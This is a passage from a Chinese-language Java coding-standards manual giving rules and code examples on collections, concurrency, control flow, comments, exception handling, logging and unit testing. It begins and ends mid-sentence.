但小于 size，重新创建大小等于 size 的数组，增加 GC 负担。 Java 开发手册 12/44 3）等于 size，在高并发情况下，数组创建完成之后，size 正在变大的情况下，负面影响与上相同。 4）大于 size，空间浪费，且在 size 处插入 null 值，存在 NPE 隐患。 7. 【强制】在使用 Collection 接口任何实现类的 addAll()方法时，都要对输入的集合参数进行 NPE 判断。说明：在 ArrayList#addAll 方法的第一行代码即 Object[] a = c.toArray(); 其中 c 为输入集合参数，如果为 null，则直接抛出异常。 8. 【强制】使用工具类 Arrays.asList()把数组转换成集合时，不能使用其修改集合相关的方法，它的 add/remove/clear 方法会抛出 UnsupportedOperationException 异常。说明：asList 的返回对象是一个 Arrays 内部类，并没有实现集合的修改方法。Arrays.asList 体现的是适配器模式，只是转换接口，后台的数据仍是数组。 String[] str = new String[] { "yang", "hao" }; List list = Arrays.asList(str); 第一种情况：list.add("yangguanbao"); 运行时异常。第二种情况：str[0] = "changed"; 也会随之修改，反之亦然。 9. 【强制】泛型通配符<? extends T>来接收返回的数据，此写法的泛型集合不能使用 add 方法，而<? super T>不能使用 get 方法，作为接口调用赋值时易出错。说明：扩展说一下 PECS(Producer Extends Consumer Super)原则：第一、频繁往外读取内容的，适合用<? extends T>。第二、经常往里插入的，适合用<? super T> 10. 【强制】在无泛型限制定义的集合赋值给泛型限制的集合时，在使用集合元素时，需要进行 instanceof 判断，避免抛出 ClassCastException 异常。说明：毕竟泛型是在 JDK5 后才出现，考虑到向前兼容，编译器是允许非泛型集合与泛型集合互相赋值。反例： List<String> generics = null; List notGenerics = new ArrayList(10); notGenerics.add(new Object()); notGenerics.add(new Integer(1)); generics = notGenerics; // 此处抛出 ClassCastException 异常 String string = generics.get(0); 11. 【强制】不要在 foreach 循环里进行元素的 remove/add 操作。remove 元素请使用 Iterator 方式，如果并发操作，需要对 Iterator 对象加锁。正例： List<String> list = new ArrayList<>(); list.add("1"); list.add("2"); Iterator<String> iterator = list.iterator(); while (iterator.hasNext()) { String item = iterator.next(); if (删除元素的条件) { Java 开发手册 13/44 iterator.remove(); } } 反例： for (String item : list) { if ("1".equals(item)) { list.remove(item); } } 说明：以上代码的执行结果肯定会出乎大家的意料，那么试一下把“1”换成“2”，会是同样的结果吗？ 12. 【强制】在 JDK7 版本及以上，Comparator 实现类要满足如下三个条件，不然 Arrays.sort， Collections.sort 会抛 IllegalArgumentException 异常。说明：三个条件如下 1） x，y 的比较结果和 y，x 的比较结果相反。 2） x>y，y>z，则 x>z。 3） x=y，则 x，z 比较结果和 y，z 比较结果相同。反例：下例中没有处理相等的情况，交换两个对象判断结果并不互反，不符合第一个条件，在实际使用中可能会出现异常。 new Comparator<Student>() { @Override public int compare(Student o1, Student o2) { return o1.getId() > o2.getId() ? 1 : -1; } }; 13. 【推荐】集合泛型定义时，在 JDK7 及以上，使用 diamond 语法或全省略。说明：菱形泛型，即 diamond，直接使用<>来指代前边已经指定的类型。正例： // diamond 方式，即<> HashMap<String, String> userCache = new HashMap<>(16); // 全省略方式 ArrayList<User> users = new ArrayList(10); 14. 【推荐】集合初始化时，指定集合初始值大小。说明：HashMap 使用 HashMap(int initialCapacity) 初始化。正例：initialCapacity = (需要存储的元素个数 / 负载因子) + 1。注意负载因子（即 loader factor）默认为 0.75，如果暂时无法确定初始值大小，请设置为 16（即默认值）。反例：HashMap 需要放置 1024 个元素，由于没有设置容量初始大小，随着元素不断增加，容量 7 次被迫扩大，resize 需要重建 hash 表，严重影响性能。 15. 【推荐】使用 entrySet 遍历 Map 类集合 KV，而不是 keySet 方式进行遍历。说明：keySet 其实是遍历了 2 次，一次是转为 Iterator 对象，另一次是从 hashMap 中取出 key 所对应的 value。而 entrySet 只是遍历了一次就把 key 和 value 都放到了 entry 中，效率更高。如果是 JDK8，使用 Map.forEach 方法。 Java 开发手册 14/44 正例：values()返回的是 V 值集合，是一个 list 集合对象；keySet()返回的是 K 值集合，是一个 Set 集合对象；entrySet()返回的是 K-V 值组合集合。 16. 【推荐】高度注意 Map 类集合 K/V 能不能存储 null 值的情况，如下表格：集合类 Key Value Super 说明 Hashtable 不允许为 null 不允许为 null Dictionary 线程安全 ConcurrentHashMap 不允许为 null 不允许为 null AbstractMap 锁分段技术（JDK8:CAS） TreeMap 不允许为 null 允许为 null AbstractMap 线程不安全 HashMap 允许为 null 允许为 null AbstractMap 线程不安全反例：由于 HashMap 的干扰，很多人认为 ConcurrentHashMap 是可以置入 null 值，而事实上，存储 null 值时会抛出 NPE 异常。 17. 【参考】合理利用好集合的有序性(sort)和稳定性(order)，避免集合的无序性(unsort)和不稳定性(unorder)带来的负面影响。说明：有序性是指遍历的结果是按某种比较规则依次排列的。稳定性指集合每次遍历的元素次序是一定的。如：ArrayList 是 order/unsort；HashMap 是 unorder/unsort；TreeSet 是 order/sort。 18. 【参考】利用 Set 元素唯一的特性，可以快速对一个集合进行去重操作，避免使用 List 的 contains 方法进行遍历、对比、去重操作。 (六) 并发处理 1. 【强制】获取单例对象需要保证线程安全，其中的方法也要保证线程安全。说明：资源驱动类、工具类、单例工厂类都需要注意。 2. 【强制】创建线程或线程池时请指定有意义的线程名称，方便出错时回溯。正例：自定义线程工厂，并且根据外部特征进行分组，比如机房信息。 public class UserThreadFactory implements ThreadFactory { private final String namePrefix; private final AtomicInteger nextId = new AtomicInteger(1); // 定义线程组名称，在 jstack 问题排查时，非常有帮助 UserThreadFactory(String whatFeaturOfGroup) { namePrefix = "From UserThreadFactory's " + whatFeaturOfGroup + "-Worker-"; } @Override public Thread newThread(Runnable task) { String name = namePrefix + nextId.getAndIncrement(); Thread thread = new Thread(null, task, name, 0, false); Java 开发手册 15/44 System.out.println(thread.getName()); return thread; } } 3. 【强制】线程资源必须通过线程池提供，不允许在应用中自行显式创建线程。说明：线程池的好处是减少在创建和销毁线程上所消耗的时间以及系统资源的开销，解决资源不足的问题。如果不使用线程池，有可能造成系统创建大量同类线程而导致消耗完内存或者“过度切换”的问题。 4. 【强制】线程池不允许使用 Executors 去创建，而是通过 ThreadPoolExecutor 的方式，这样的处理方式让写的同学更加明确线程池的运行规则，规避资源耗尽的风险。说明：Executors 返回的线程池对象的弊端如下： 1） FixedThreadPool 和 SingleThreadPool：允许的请求队列长度为 Integer.MAX_VALUE，可能会堆积大量的请求，从而导致 OOM。 2） CachedThreadPool：允许的创建线程数量为 Integer.MAX_VALUE，可能会创建大量的线程，从而导致 OOM。 5. 【强制】SimpleDateFormat 是线程不安全的类，一般不要定义为 static 变量，如果定义为 static，必须加锁，或者使用 DateUtils 工具类。正例：注意线程安全，使用 DateUtils。亦推荐如下处理： private static final ThreadLocal<DateFormat> df = new ThreadLocal<DateFormat>() { @Override protected DateFormat initialValue() { return new SimpleDateFormat("yyyy-MM-dd"); } }; 说明：如果是 JDK8 的应用，可以使用 Instant 代替 Date，LocalDateTime 代替 Calendar， DateTimeFormatter 代替 SimpleDateFormat，官方给出的解释：simple beautiful strong immutable thread-safe。 6. 【强制】必须回收自定义的 ThreadLocal 变量，尤其在线程池场景下，线程经常会被复用，如果不清理自定义的 ThreadLocal 变量，可能会影响后续业务逻辑和造成内存泄露等问题。尽量在代理中使用 try-finally 块进行回收。正例： objectThreadLocal.set(userInfo); try { // ... } finally { objectThreadLocal.remove(); } 7. 【强制】高并发时，同步调用应该去考量锁的性能损耗。能用无锁数据结构，就不要用锁；能锁区块，就不要锁整个方法体；能用对象锁，就不要用类锁。说明：尽可能使加锁的代码块工作量尽可能的小，避免在锁代码块中调用 RPC 方法。 Java 开发手册 16/44 8. 【强制】对多个资源、数据库表、对象同时加锁时，需要保持一致的加锁顺序，否则可能会造成死锁。说明：线程一需要对表 A、B、C 依次全部加锁后才可以进行更新操作，那么线程二的加锁顺序也必须是 A、B、C，否则可能出现死锁。 9. 【强制】在使用阻塞等待获取锁的方式中，必须在 try 代码块之外，并且在加锁方法与 try 代码块之间没有任何可能抛出异常的方法调用，避免加锁成功后，在 finally 中无法解锁。说明一：如果在 lock 方法与 try 代码块之间的方法调用抛出异常，那么无法解锁，造成其它线程无法成功获取锁。说明二：如果 lock 方法在 try 代码块之内，可能由于其它方法抛出异常，导致在 finally 代码块中， unlock 对未加锁的对象解锁，它会调用 AQS 的 tryRelease 方法（取决于具体实现类），抛出 IllegalMonitorStateException 异常。说明三：在 Lock 对象的 lock 方法实现中可能抛出 unchecked 异常，产生的后果与说明二相同。正例： Lock lock = new XxxLock(); // ... lock.lock(); try { doSomething(); doOthers(); } finally { lock.unlock(); } 反例： Lock lock = new XxxLock(); // ... try { // 如果此处抛出异常，则直接执行 finally 代码块 doSomething(); // 无论加锁是否成功，finally 代码块都会执行 lock.lock(); doOthers(); } finally { lock.unlock(); } 10. 【强制】在使用尝试机制来获取锁的方式中，进入业务代码块之前，必须先判断当前线程是否持有锁。锁的释放规则与锁的阻塞等待方式相同。说明：Lock 对象的 unlock 方法在执行时，它会调用 AQS 的 tryRelease 方法（取决于具体实现类），如果当前线程不持有锁，则抛出 IllegalMonitorStateException 异常。正例： Lock lock = new XxxLock(); // ... boolean isLocked = lock.tryLock(); if (isLocked) { try { doSomething(); Java 开发手册 17/44 doOthers(); } finally { lock.unlock(); } } 11. 【强制】并发修改同一记录时，避免更新丢失，需要加锁。要么在应用层加锁，要么在缓存加锁，要么在数据库层使用乐观锁，使用 version 作为更新依据。说明：如果每次访问冲突概率小于 20%，推荐使用乐观锁，否则使用悲观锁。乐观锁的重试次数不得小于 3 次。 12. 【强制】多线程并行处理定时任务时，Timer 运行多个 TimeTask 时，只要其中之一没有捕获抛出的异常，其它任务便会自动终止运行，如果在处理定时任务时使用 ScheduledExecutorService 则没有这个问题。 13. 【推荐】资金相关的金融敏感信息，使用悲观锁策略。说明：乐观锁在获得锁的同时已经完成了更新操作，校验逻辑容易出现漏洞，另外，乐观锁对冲突的解决策略有较复杂的要求，处理不当容易造成系统压力或数据异常，所以资金相关的金融敏感信息不建议使用乐观锁更新。 14. 【推荐】使用 CountDownLatch 进行异步转同步操作，每个线程退出前必须调用 countDown 方法，线程执行代码注意 catch 异常，确保 countDown 方法被执行到，避免主线程无法执行至 await 方法，直到超时才返回结果。说明：注意，子线程抛出异常堆栈，不能在主线程 try-catch 到。 15. 【推荐】避免 Random 实例被多线程使用，虽然共享该实例是线程安全的，但会因竞争同一 seed 导致的性能下降。说明：Random 实例包括 java.util.Random 的实例或者 Math.random()的方式。正例：在 JDK7 之后，可以直接使用 API ThreadLocalRandom，而在 JDK7 之前，需要编码保证每个线程持有一个实例。 16. 【推荐】在并发场景下，通过双重检查锁（double-checked locking）实现延迟初始化的优化问题隐患(可参考 The "Double-Checked Locking is Broken" Declaration)，推荐解决方案中较为简单一种（适用于 JDK5 及以上版本），将目标属性声明为 volatile 型。反例： public class LazyInitDemo { private Helper helper = null; public Helper getHelper() { if (helper == null) synchronized(this) { if (helper == null) helper = new Helper(); } return helper; } // other methods and fields... } Java 开发手册 18/44 17. 【参考】volatile 解决多线程内存不可见问题。对于一写多读，是可以解决变量同步问题，但是如果多写，同样无法解决线程安全问题。说明：如果是 count++操作，使用如下类实现：AtomicInteger count = new AtomicInteger(); count.addAndGet(1); 如果是 JDK8，推荐使用 LongAdder 对象，比 AtomicLong 性能更好（减少乐观锁的重试次数）。 18. 【参考】HashMap 在容量不够进行 resize 时由于高并发可能出现死链，导致 CPU 飙升，在开发过程中可以使用其它数据结构或加锁来规避此风险。 19. 【参考】ThreadLocal 对象使用 static 修饰，ThreadLocal 无法解决共享对象的更新问题。说明：这个变量是针对一个线程内所有操作共享的，所以设置为静态变量，所有此类实例共享此静态变量，也就是说在类第一次被使用时装载，只分配一块存储空间，所有此类的对象(只要是这个线程内定义的)都可以操控这个变量。 (七) 控制语句 1. 【强制】在一个 switch 块内，每个 case 要么通过 continue/break/return 等来终止，要么注释说明程序将继续执行到哪一个 case 为止；在一个 switch 块内，都必须包含一个 default 语句并且放在最后，即使它什么代码也没有。说明：注意 break 是退出 switch 语句块，而 return 是退出方法体。 2. 【强制】当 switch 括号内的变量类型为 String 并且此变量为外部参数时，必须先进行 null 判断。反例：猜猜下面的代码输出是什么？ public class SwitchString { public static void main(String[] args) { method(null); } public static void method(String param) { switch (param) { // 肯定不是进入这里 case "sth": System.out.println("it's sth"); break; // 也不是进入这里 case "null": System.out.println("it's null"); break; // 也不是进入这里 default: System.out.println("default"); } } } Java 开发手册 19/44 3. 【强制】在 if/else/for/while/do 语句中必须使用大括号。说明：即使只有一行代码，避免采用单行的编码方式：if (condition) statements; 4. 【强制】在高并发场景中，避免使用”等于”判断作为中断或退出的条件。说明：如果并发控制没有处理好，容易产生等值判断被“击穿”的情况，使用大于或小于的区间判断条件来代替。反例：判断剩余奖品数量等于 0 时，终止发放奖品，但因为并发处理错误导致奖品数量瞬间变成了负数，这样的话，活动无法终止。 5. 【推荐】表达异常的分支时，少用 if-else 方式，这种方式可以改写成： if (condition) { ... return obj; } // 接着写 else 的业务逻辑代码; 说明：如果非使用 if()...else if()...else...方式表达逻辑，避免后续代码维护困难，【强制】请勿超过 3 层。正例：超过 3 层的 if-else 的逻辑判断代码可以使用卫语句、策略模式、状态模式等来实现，其中卫语句即代码逻辑先考虑失败、异常、中断、退出等直接返回的情况，以方法多个出口的方式，解决代码中判断分支嵌套的问题，这是逆向思维的体现。示例如下： public void findBoyfriend(Man man) { if (man.isUgly()) { System.out.println("本姑娘是外貌协会的资深会员"); return; } if (man.isPool()) { System.out.println("贫贱夫妻百事哀"); return; } if (man.isBadTemper()) { System.out.println("银河有多远，你就给我滚多远"); return; } System.out.println("可以先交往一段时间看看"); } 6. 【推荐】除常用方法（如 getXxx/isXxx）等外，不要在条件判断中执行其它复杂的语句，将复杂逻辑判断的结果赋值给一个有意义的布尔变量名，以提高可读性。说明：很多 if 语句内的逻辑表达式相当复杂，与、或、取反混合运算，甚至各种方法纵深调用，理解成本非常高。如果赋值一个非常好理解的布尔变量名字，则是件令人爽心悦目的事情。正例： // 伪代码如下 final boolean existed = (file.open(fileName, "w") != null) && (...) \|\| (...); Java 开发手册 20/44 if (existed) { ... } 反例： public final void acquire(long arg) { if (!tryAcquire(arg) && acquireQueued(addWaiter(Node.EXCLUSIVE), arg)) { selfInterrupt(); } } 7. 【推荐】不要在其它表达式（尤其是条件表达式）中，插入赋值语句。说明：赋值点类似于人体的穴位，对于代码的理解至关重要，所以赋值语句需要清晰地单独成为一行。反例： public Lock getLock(boolean fair) { // 算术表达式中出现赋值操作，容易忽略 count 值已经被改变 threshold = (count = Integer.MAX_VALUE) - 1; // 条件表达式中出现赋值操作，容易误认为是 sync==fair return (sync = fair) ? new FairSync() : new NonfairSync(); } 8. 【推荐】循环体中的语句要考量性能，以下操作尽量移至循环体外处理，如定义对象、变量、获取数据库连接，进行不必要的 try-catch 操作（这个 try-catch 是否可以移至循环体外）。 9. 【推荐】避免采用取反逻辑运算符。说明：取反逻辑不利于快速理解，并且取反逻辑写法必然存在对应的正向逻辑写法。正例：使用 if (x < 628) 来表达 x 小于 628。反例：使用 if (!(x >= 628)) 来表达 x 小于 628。 10. 【推荐】接口入参保护，这种场景常见的是用作批量操作的接口。 11. 【参考】下列情形，需要进行参数校验： 1）调用频次低的方法。 2）执行时间开销很大的方法。此情形中，参数校验时间几乎可以忽略不计，但如果因为参数错误导致中间执行回退，或者错误，那得不偿失。 3）需要极高稳定性和可用性的方法。 4）对外提供的开放接口，不管是 RPC/API/HTTP 接口。 5）敏感权限入口。 12. 【参考】下列情形，不需要进行参数校验： 1）极有可能被循环调用的方法。但在方法说明里必须注明外部参数检查要求。 2）底层调用频度比较高的方法。毕竟是像纯净水过滤的最后一道，参数错误不太可能到底层才会暴露问题。一般 DAO 层与 Service 层都在同一个应用中，部署在同一台服务器中，所以 DAO 的参数校验，可以省略。 Java 开发手册 21/44 3）被声明成 private 只会被自己代码所调用的方法，如果能够确定调用方法的代码传入参数已经做过检查或者肯定不会有问题，此时可以不校验参数。 (八) 注释规约 1. 【强制】类、类属性、类方法的注释必须使用 Javadoc 规范，使用/*内容/格式，不得使用 // xxx 方式。说明：在 IDE 编辑窗口中，Javadoc 方式会提示相关注释，生成 Javadoc 可以正确输出相应注释；在 IDE 中，工程调用方法时，不进入方法即可悬浮提示方法、参数、返回值的意义，提高阅读效率。 2. 【强制】所有的抽象方法（包括接口中的方法）必须要用 Javadoc 注释、除了返回值、参数、异常说明外，还必须指出该方法做什么事情，实现什么功能。说明：对子类的实现要求，或者调用注意事项，请一并说明。 3. 【强制】所有的类都必须添加创建者和创建日期。 4. 【强制】方法内部单行注释，在被注释语句上方另起一行，使用//注释。方法内部多行注释使用/* /注释，注意与代码对齐。 5. 【强制】所有的枚举类型字段必须要有注释，说明每个数据项的用途。 6. 【推荐】与其“半吊子”英文来注释，不如用中文注释把问题说清楚。专有名词与关键字保持英文原文即可。反例：“TCP 连接超时”解释成“传输控制协议连接超时”，理解反而费脑筋。 7. 【推荐】代码修改的同时，注释也要进行相应的修改，尤其是参数、返回值、异常、核心逻辑等的修改。说明：代码与注释更新不同步，就像路网与导航软件更新不同步一样，如果导航软件严重滞后，就失去了导航的意义。 8. 【参考】谨慎注释掉代码。在上方详细说明，而不是简单地注释掉。如果无用，则删除。说明：代码被注释掉有两种可能性：1）后续会恢复此段代码逻辑。2）永久不用。前者如果没有备注信息，难以知晓注释动机。后者建议直接删掉（代码仓库已然保存了历史代码）。 9. 【参考】对于注释的要求：第一、能够准确反映设计思想和代码逻辑；第二、能够描述业务含义，使别的程序员能够迅速了解到代码背后的信息。完全没有注释的大段代码对于阅读者形同天书，注释是给自己看的，即使隔很长时间，也能清晰理解当时的思路；注释也是给继任者看的，使其能够快速接替自己的工作。 10. 【参考】好的命名、代码结构是自解释的，注释力求精简准确、表达到位。避免出现注释的一个极端：过多过滥的注释，代码的逻辑一旦修改，修改注释是相当大的负担。 Java 开发手册 22/44 反例： // put elephant into fridge put(elephant, fridge); 方法名 put，加上两个有意义的变量名 elephant 和 fridge，已经说明了这是在干什么，语义清晰的代码不需要额外的注释。 11. 【参考】特殊注释标记，请注明标记人与标记时间。注意及时处理这些标记，通过标记扫描，经常清理此类标记。线上故障有时候就是来源于这些标记处的代码。 1）待办事宜（TODO）:（标记人，标记时间，[预计处理时间]）表示需要实现，但目前还未实现的功能。这实际上是一个 Javadoc 的标签，目前的 Javadoc 还没有实现，但已经被广泛使用。只能应用于类，接口和方法（因为它是一个 Javadoc 标签）。 2）错误，不能工作（FIXME）:（标记人，标记时间，[预计处理时间]）在注释中用 FIXME 标记某代码是错误的，而且不能工作，需要及时纠正的情况。 (九) 其它 1. 【强制】在使用正则表达式时，利用好其预编译功能，可以有效加快正则匹配速度。说明：不要在方法体内定义：Pattern pattern = Pattern.compile(“规则”); 2. 【强制】velocity 调用 POJO 类的属性时，直接使用属性名取值即可，模板引擎会自动按规范调用 POJO 的 getXxx()，如果是 boolean 基本数据类型变量（boolean 命名不需要加 is 前缀），会自动调用 isXxx()方法。说明：注意如果是 Boolean 包装类对象，优先调用 getXxx()的方法。 3. 【强制】后台输送给页面的变量必须加$!{var}——中间的感叹号。说明：如果 var 等于 null 或者不存在，那么${var}会直接显示在页面上。 4. 【强制】注意 Math.random() 这个方法返回是 double 类型，注意取值的范围 0≤x<1（能够取到零值，注意除零异常），如果想获取整数类型的随机数，不要将 x 放大 10 的若干倍然后取整，直接使用 Random 对象的 nextInt 或者 nextLong 方法。 5. 【强制】获取当前毫秒数 System.currentTimeMillis(); 而不是 new Date().getTime(); 说明：如果想获取更加精确的纳秒级时间值，使用 System.nanoTime()的方式。在 JDK8 中，针对统计时间等场景，推荐使用 Instant 类。 6. 【强制】日期格式化时，传入 pattern 中表示年份统一使用小写的 y。说明：日期格式化时，yyyy 表示当天所在的年，而大写的 YYYY 代表是 week in which year （JDK7 之后引入的概念），意思是当天所在的周属于的年份，一周从周日开始，周六结束，只要本周跨年，返回的 YYYY 就是下一年。另外需要注意： ⚫ 表示月份是大写的 M Java 开发手册 23/44 ⚫ 表示分钟则是小写的 m ⚫ 24 小时制的是大写的 H ⚫ 12 小时制的则是小写的 h 正例：表示日期和时间的格式如下所示： new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 7. 【推荐】不要在视图模板中加入任何复杂的逻辑。说明：根据 MVC 理论，视图的职责是展示，不要抢模型和控制器的活。 8. 【推荐】任何数据结构的构造或初始化，都应指定大小，避免数据结构无限增长吃光内存。 9. 【推荐】及时清理不再使用的代码段或配置信息。说明：对于垃圾代码或过时配置，坚决清理干净，避免程序过度臃肿，代码冗余。正例：对于暂时被注释掉，后续可能恢复使用的代码片断，在注释代码上方，统一规定使用三个斜杠(///) 来说明注释掉代码的理由。 Java 开发手册 24/44 二、异常日志 (一) 异常处理 1. 【强制】Java 类库中定义的可以通过预检查方式规避的 RuntimeException 异常不应该通过 catch 的方式来处理，比如：NullPointerException，IndexOutOfBoundsException 等等。说明：无法通过预检查的异常除外，比如，在解析字符串形式的数字时，可能存在数字格式错误，不得不通过 catch NumberFormatException 来实现。正例：if (obj != null) {...} 反例：try { obj.method(); } catch (NullPointerException e) {…} 2. 【强制】异常不要用来做流程控制，条件控制。说明：异常设计的初衷是解决程序运行中的各种意外情况，且异常的处理效率比条件判断方式要低很多。 3. 【强制】catch 时请分清稳定代码和非稳定代码，稳定代码指的是无论如何不会出错的代码。对于非稳定代码的 catch 尽可能进行区分异常类型，再做对应的异常处理。说明：对大段代码进行 try-catch，使程序无法根据不同的异常做出正确的应激反应，也不利于定位问题，这是一种不负责任的表现。正例：用户注册的场景中，如果用户输入非法字符，或用户名称已存在，或用户输入密码过于简单，在程序上作出分门别类的判断，并提示给用户。 4. 【强制】捕获异常是为了处理它，不要捕获了却什么都不处理而抛弃之，如果不想处理它，请将该异常抛给它的调用者。最外层的业务使用者，必须处理异常，将其转化为用户可以理解的内容。 5. 【强制】有 try 块放到了事务代码中，catch 异常后，如果需要回滚事务，一定要注意手动回滚事务。 6. 【强制】finally 块必须对资源对象、流对象进行关闭，有异常也要做 try-catch。说明：如果 JDK7 及以上，可以使用 try-with-resources 方式。 7. 【强制】不要在 finally 块中使用 return。说明：try 块中的 return 语句执行成功后，并不马上返回，而是继续执行 finally 块中的语句，如果此处存在 return 语句，则在此直接返回，无情丢弃掉 try 块中的返回点。反例： private int x = 0; public int checkReturn() { try { // x 等于 1，此处不返回 return ++x; } finally { Java 开发手册 25/44 // 返回的结果是 2 return ++x; } } 8. 【强制】捕获异常与抛异常，必须是完全匹配，或者捕获异常是抛异常的父类。说明：如果预期对方抛的是绣球，实际接到的是铅球，就会产生意外情况。 9. 【强制】在调用 RPC、二方包、或动态生成类的相关方法时，捕捉异常必须使用 Throwable 类来进行拦截。说明：通过反射机制来调用方法，如果找不到方法，抛出 NoSuchMethodException。什么情况会抛出 NoSuchMethodError 呢？二方包在类冲突时，仲裁机制可能导致引入非预期的版本使类的方法签名不匹配，或者在字节码修改框架（比如：ASM）动态创建或修改类时，修改了相应的方法签名。这些情况，即使代码编译期是正确的，但在代码运行期时，会抛出 NoSuchMethodError。 10. 【推荐】方法的返回值可以为 null，不强制返回空集合，或者空对象等，必须添加注释充分说明什么情况下会返回 null 值。说明：本手册明确防止 NPE 是调用者的责任。即使被调用方法返回空集合或者空对象，对调用者来说，也并非高枕无忧，必须考虑到远程调用失败、序列化失败、运行时异常等场景返回 null 的情况。 11. 【推荐】防止 NPE，是程序员的基本修养，注意 NPE 产生的场景： 1）返回类型为基本数据类型，return 包装数据类型的对象时，自动拆箱有可能产生 NPE。反例：public int f() { return Integer 对象}，如果为 null，自动解箱抛 NPE。 2）数据库的查询结果可能为 null。 3）集合里的元素即使 isNotEmpty，取出的数据元素也可能为 null。 4）远程调用返回对象时，一律要求进行空指针判断，防止 NPE。 5）对于 Session 中获取的数据，建议进行 NPE 检查，避免空指针。 6）级联调用 obj.getA().getB().getC()；一连串调用，易产生 NPE。正例：使用 JDK8 的 Optional 类来防止 NPE 问题。 12. 【推荐】定义时区分 unchecked / checked 异常，避免直接抛出 new RuntimeException()，更不允许抛出 Exception 或者 Throwable，应使用有业务含义的自定义异常。推荐业界已定义过的自定义异常，如：DAOException / ServiceException 等。 13. 【参考】对于公司外的 http/api 开放接口必须使用“错误码”；而应用内部推荐异常抛出；跨应用间 RPC 调用优先考虑使用 Result 方式，封装 isSuccess()方法、“错误码”、“错误简短信息”。说明：关于 RPC 方法返回方式使用 Result 方式的理由： 1）使用抛异常返回方式，调用方如果没有捕获到就会产生运行时错误。 2）如果不加栈信息，只是 new 自定义异常，加入自己的理解的 error message，对于调用端解决问题的帮助不会太多。如果加了栈信息，在频繁调用出错的情况下，数据序列化和传输的性能损耗也是问题。 Java 开发手册 26/44 14. 【参考】避免出现重复的代码（Don't Repeat Yourself），即 DRY 原则。说明：随意复制和粘贴代码，必然会导致代码的重复，在以后需要修改时，需要修改所有的副本，容易遗漏。必要时抽取共性方法，或者抽象公共类，甚至是组件化。正例：一个类中有多个 public 方法，都需要进行数行相同的参数校验操作，这个时候请抽取： private boolean checkParam(DTO dto) {...} (二) 日志规约 1. 【强制】应用中不可直接使用日志系统（Log4j、Logback）中的 API，而应依赖使用日志框架 SLF4J 中的 API，使用门面模式的日志框架，有利于维护和各个类的日志处理方式统一。 import org.slf4j.Logger; import org.slf4j.LoggerFactory; private static final Logger logger = LoggerFactory.getLogger(Test.class); 2. 【强制】所有日志文件至少保存 15 天，因为有些异常具备以“周”为频次发生的特点。网络运行状态、安全相关信息、系统监测、管理后台操作、用户敏感操作需要留存相关的网络日志不少于 6 个月。 3. 【强制】应用中的扩展日志（如打点、临时监控、访问日志等）命名方式： appName_logType_logName.log。logType:日志类型，如 stats/monitor/access 等；logName:日志描述。这种命名的好处：通过文件名就可知道日志文件属于什么应用，什么类型，什么目的，也有利于归类查找。说明：推荐对日志进行分类，如将错误日志和业务日志分开存放，便于开发人员查看，也便于通过日志对系统进行及时监控。正例：force-web 应用中单独监控时区转换异常，如：force_web_timeZoneConvert.log 4. 【强制】在日志输出时，字符串变量之间的拼接使用占位符的方式。说明：因为 String 字符串的拼接会使用 StringBuilder 的 append()方式，有一定的性能损耗。使用占位符仅是替换动作，可以有效提升性能。正例：logger.debug("Processing trade with id: {} and symbol: {}", id, symbol); 5. 【强制】对于 trace/debug/info 级别的日志输出，必须进行日志级别的开关判断。说明：虽然在 debug(参数)的方法体内第一行代码 isDisabled(Level.DEBUG_INT)为真时（Slf4j 的常见实现 Log4j 和 Logback），就直接 return，但是参数可能会进行字符串拼接运算。此外，如果 debug(getName())这种参数内有 getName()方法调用，无谓浪费方法调用的开销。正例： // 如果判断为真，那么可以输出 trace 和 debug 级别的日志 if (logger.isDebugEnabled()) { logger.debug("Current ID is: {} and name is: {}", id, getName()); } Java 开发手册 27/44 6. 【强制】避免重复打印日志，浪费磁盘空间，务必在 log4j.xml 中设置 additivity=false。正例：<logger name="com.taobao.dubbo.config" additivity="false"> 7. 【强制】异常信息应该包括两类信息：案发现场信息和异常堆栈信息。如果不处理，那么通过关键字 throws 往上抛出。正例：logger.error(各类参数或者对象 toString() + "_" + e.getMessage(), e); 8. 【推荐】谨慎地记录日志。生产环境禁止输出 debug 日志；有选择地输出 info 日志；如果使用 warn 来记录刚上线时的业务行为信息，一定要注意日志输出量的问题，避免把服务器磁盘撑爆，并记得及时删除这些观察日志。说明：大量地输出无效日志，不利于系统性能提升，也不利于快速定位错误点。记录日志时请思考：这些日志真的有人看吗？看到这条日志你能做什么？能不能给问题排查带来好处？ 9. 【推荐】可以使用 warn 日志级别来记录用户输入参数错误的情况，避免用户投诉时，无所适从。如非必要，请不要在此场景打出 error 级别，避免频繁报警。说明：注意日志输出的级别，error 级别只记录系统逻辑出错、异常或者重要的错误信息。 10. 【推荐】尽量用英文来描述日志错误信息，如果日志中的错误信息用英文描述不清楚的话使用中文描述即可，否则容易产生歧义。【强制】国际化团队或海外部署的服务器由于字符集问题，使用全英文来注释和描述日志错误信息。 Java 开发手册 28/44 三、单元测试 1. 【强制】好的单元测试必须遵守 AIR 原则。说明：单元测试在线上运行时，感觉像空气（AIR）一样并不存在，但在测试质量的保障上，却是非常关键的。好的单元测试宏观上来说，具有自动化、独立性、可重复执行的特点。 ⚫ A：Automatic（自动化） ⚫ I：Independent（独立性） ⚫ R：Repeatable（可重复） 2. 【强制】单元测试应该是全自动执行的，并且非交互式的。测试用例通常是被定期执行的，执行过程必须完全自动化才有意义。输出结果需要人工检查的测试不是一个好的单元测试。单元测试中不准使用 System.out 来进行人肉验证，必须使用 assert 来验证。 3. 【强制】保持单元测试的独立性。为了保证单元测试稳定可靠且便于维护，单元测试用例之间决不能互相调用，也不能依赖执行的先后次序。反例：method2 需要依赖 method1 的执行，将执行结果作为 method2 的输入。 4. 【强制】单元测试是可以重复执行的，不能受到外界环境的影响。说明：单元测试通常会被放到持续集成中，每次有代码 check in 时单元测试都会被执行。如果单测对外部环境（网络、服务、中间件等）有依赖，容易导致持续集成机制的不可用。正例：为了不受外界环境影响，要求设计代码时就把 SUT 的依赖改成注入，在测试时用 spring 这样的 DI 框架注入一个本地（内存）实现或者 Mock 实现。 5. 【强制】对于单元测试，要保证测试粒度足够小，有助于精确定位问题。单测粒度至多是类级别，一般是方法级别。说明：只有测试粒度小才能在出错时尽快定位到出错位置。单测不负责检查跨类或者跨系统的交互逻辑，那是集成测试的领域。 6. 【强制】核心业务、核心应用、核心模块的增量代码确保单元测试通过。说明：新增代码及时补充单元测试，如果新增代码影响了原有单元测试，请及时修正。 7. 【强制】单元测试代码必须写在如下工程目录：src/test/java，不允许写在业务代码目录下。说明：源码编译时会跳过此目录，而单元测试框架默认是扫描此目录。 8. 【推荐】单元测试的基本目标：语句覆盖率达到 